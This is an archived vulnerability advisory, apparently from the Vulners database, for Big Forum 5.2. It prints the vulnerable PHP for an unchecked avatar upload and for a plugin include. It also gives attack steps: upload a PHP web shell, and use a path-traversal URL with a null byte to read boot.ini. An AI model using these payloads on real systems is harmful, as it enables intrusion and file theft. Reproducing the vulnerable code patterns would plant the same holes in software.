Lucene search
K

Big Forum 5.2v Arbitrary File Upload & LFI Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Big Forum 5.2v Arbitrary File Upload & LFI Vulnerability by Zer0 Thunder on 06/24/2010. Arbitrary File Upload & Local File Inclusion Vuln

Code

                                                => Big Forum 5.2v Arbitrary File Upload & Local File Inclusion Vulnerability
=> Author	: Zer0 Thunder
=> Home		: http://colombohackers.com
=> Download	: http://sourceforge.net/projects/npage-bigforum/files/bigforum%205.2/bf5.2.zip/download
=> Date 	: 06/24/2010



Arbitrary File Upload
---------------------



Vuln C0de

=============================================================================================================

   if($_FILES['datei']['size'] <  102400)
      {
      move_uploaded_file($_FILES['datei']['tmp_name'], "images/avatar/".$_FILES['datei']['name']);
      echo "Danke, dein Avatar wurde hochgeladen, es wird nun angezeigt.";
	  $pfad = $_FILES['datei']['name'];
	  mysql_query("UPDATE users SET ava_link = 'images/avatar/$pfad' WHERE username LIKE '". USER ."'");
      }

you will have to register before doing this 

=============================================================================================================


Vuln Page link : http://localhost/bf/main.php?do=ava   
(Upload the shell.php or shell.jpg.php )





Local File Inclusion 
--------------------


=============================================================================================================
if($_GET["aktion"] == "install")
  {
    $path = "../includes/plugins/$_GET[datei]";
    include($path);
    plugin_install($kurzc, $_GET["datei"]);
    echo "Danke, der Mod wurde erfolgreich installiert.";
    exit;
  }


=============================================================================================================


http://localhost/bf/admin/admin.php?do=mods&aktion=install&datei=../../../../../boot.ini%00






--------------------------------------
Msn : [email protected]
--------------------------------------

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation